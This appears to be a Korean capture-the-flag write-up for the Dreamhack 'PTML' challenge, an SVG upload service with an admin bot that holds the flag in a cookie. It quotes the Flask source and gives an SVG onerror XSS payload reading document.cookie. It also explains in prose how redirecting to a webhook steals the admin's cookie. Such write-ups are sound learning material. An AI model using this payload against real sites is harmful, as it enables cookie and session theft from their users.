[Dreamhack] PTML

문제 설명

SVG 파일을 분리해서 보여주는 서비스입니다.

서비스의 취약점을 찾고 익스플로잇하여 플래그를 획득하세요!

플래그 형식은 DH{…} 입니다.


문제에 접속해보면 SVG 파일 업로드 기능이 존재하고, 아래는 SVG 파일을 분리해서 보여주는 폼인 것 같다.

image-20250529204343544


app.py 소스 코드 부터 먼저 살펴보자. flag 값이 어디에 저장되었는지 보면 read_file 함수에 쿠키값으로 저장되어 있다. index 함수에서는 /uploads 경로에 있는 defaults.svg 파일을 file 파라미터로 받아와 index.html에 전달해준다. 또한 /uploads/<filename> 경로에 접속하면 업로드된 파일을 사용자에게 보여주고, read_file 함수에서는 관리자의 쿠키 값에 flag를 설정하고, filename 인자를 받아와 http://127.0.0.1:8000/?file=uploads/{filename} 로 요청해준다.

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

os.makedirs(UPLOAD_FOLDER, exist_ok=True)

try:
    FLAG = open("./flag", "r").read()
except:
    FLAG = "[**FLAG**]"

@app.route('/')
def index():
    file = request.args.get('file', 'uploads/default.svg')
    return render_template('index.html', file=file)

@app.route('/uploads/<filename>')
def uploaded_file(filename):
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if file:
        filename = secure_filename(file.filename)
        unique_id = uuid.uuid4().hex
        unique_filename = f"{unique_id}_{filename}"
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)
        file.save(file_path)
        read_file(unique_filename)
        return redirect(url_for('index', file=f'uploads/{unique_filename}'))
    return '', 204

def read_file(filename):
    driver = None
    cookie = {"name": "flag", "value": FLAG}
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/usr/local/bin/chromedriver")
        options = webdriver.ChromeOptions()
        for arg in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(f"http://127.0.0.1:8000/?file=uploads/{filename}")
        
        WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, "svg")))

    except Exception as e:
        driver.quit()
        return False
    driver.quit()
    return True

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)


index.html 소스 코드를 보면, pyScript를 이용해서 static/main.py 를 불러오고 있다.

<body>
    <div id="container">
        <h1>Randomly Moving SVG Paths</h1>
        <div id="upload-section">
            <form id="upload-form" method="post" enctype="multipart/form-data" action="/upload" onsubmit="uploadAndReload(event)">
                <input type="file" id="file-input" name="file" />
                <input type="submit" value="Upload SVG" />
            </form>
            <div id="original-svg-container">
                <div id="original-svg-content"></div>
            </div>
        </div>
        <div id="svg-container"></div>
    </div>
    <py-script src=""></py-script>
    <script>
        async function uploadAndReload(event) {
            event.preventDefault();
            const form = document.getElementById('upload-form');
            const formData = new FormData(form);
            const response = await fetch('/upload', {
                method: 'POST',
                body: formData
            });
            if (response.ok) {
                const filename = document.getElementById('file-input').files[0].name;
                window.location.href = `/?file=uploads/${filename}`;
            } else {
                console.error('File upload failed');
            }
        }
    </script>
</body>


main.py 소스 코드를 보면 간단하게 svg 확장자만 업로드할 수 있고, root 태그가 svg 태그인지 확인한 후에 아래의 allowed_elements 태그들만 삽입할 수 있도록 지정하고 있다.

    allowed_elements = [
        "svg", "path", "rect", "circle", "ellipse", "line", "polyline", "polygon",
        "text", "tspan", "textPath", "altGlyph", "altGlyphDef", "altGlyphItem",
        "glyphRef", "altGlyph", "animate", "animateColor", "animateMotion",
        "animateTransform", "mpath", "set", "desc", "title", "metadata",
        "defs", "g", "symbol", "use", "image", "switch", "style"
    ]


문제에서 제공된 defalut.svg 파일을 텍스트 편집기로 열어보면 아래와 같이 svg 태그가 루트 태그인 것을 확인할 수 있다.

<svg width="704" height="161" viewBox="0 0 704 161" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M137.59 61.05C114.33 37.79 80.3998 28.75 48.6398 37.35C40.0398 69.1 49.0798 103.03 72.3398 126.3L72.5198 126.48C104.32 117.86 129.15 93.03 137.77 61.23L137.59 61.05Z" fill="#8D98FF"/>
</svg>


먼저 아래와 같이 svg 태그 안에 image 태그의 허용된 태그를 사용하여 테스트를 해보니 alert 창은 잘 나오는 것 같다.

<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='1337' height='1337'>
<image href="1" onerror="alert(document.cookie)" />
</svg>

image-20250529223249986


이제 아까 app.py 소스 코드에서 봤듯이 read_file 함수를 사용하는 곳이 /upload 경로로 POST 메소드를 보낼 때 같이 관리자의 쿠키 값을 설정하여 업로드를 해주고 있기 때문에 image 태그 안에 location.href 를 사용하여 웹훅으로 쿠키 값을 보내주면 flag 값을 획득할 수 있다.

image-20250529223612327

image-20250529223656372

댓글남기기